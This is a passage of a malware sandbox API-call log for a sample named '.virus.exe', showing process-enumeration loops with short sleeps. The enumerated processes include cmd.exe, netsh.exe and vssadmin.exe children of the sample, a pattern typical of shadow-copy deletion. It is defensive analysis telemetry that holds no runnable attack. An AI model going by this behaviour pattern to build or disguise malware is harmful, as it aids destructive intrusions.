lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0247.379] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0247.379] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.379] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0247.380] CloseHandle (hObject=0x17c) returned 1 [0247.380] Sleep (dwMilliseconds=0x1f4) [0247.893] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0247.895] Process32FirstW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.895] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.896] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.896] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.896] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.897] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.897] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.897] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.898] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.898] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0247.898] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.899] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.899] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.899] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.900] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.900] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0247.900] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.901] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.901] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0247.901] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0247.902] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0247.902] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0247.902] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.903] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0247.903] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0247.903] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0247.904] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0247.904] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0247.904] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0247.905] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0247.905] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0247.905] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0247.906] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0247.906] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.906] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0247.907] CloseHandle (hObject=0x17c) returned 1 [0247.907] Sleep (dwMilliseconds=0x1f4) [0248.408] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0248.410] Process32FirstW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.410] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0248.411] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0248.411] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.412] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0248.412] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.412] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0248.413] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0248.413] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0248.414] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0248.414] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.415] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.415] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.415] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.416] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.416] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0248.417] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.417] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.417] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0248.418] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0248.418] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0248.419] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0248.419] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.419] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0248.420] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0248.420] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0248.421] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0248.421] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0248.421] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0248.422] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0248.422] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0248.423] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0248.423] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0248.424] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.424] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0248.424] CloseHandle (hObject=0x17c) returned 1 [0248.425] Sleep (dwMilliseconds=0x1f4) [0248.938] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0248.940] Process32FirstW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.941] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0248.941] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0248.942] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.942] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0248.943] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.943] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0248.943] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, 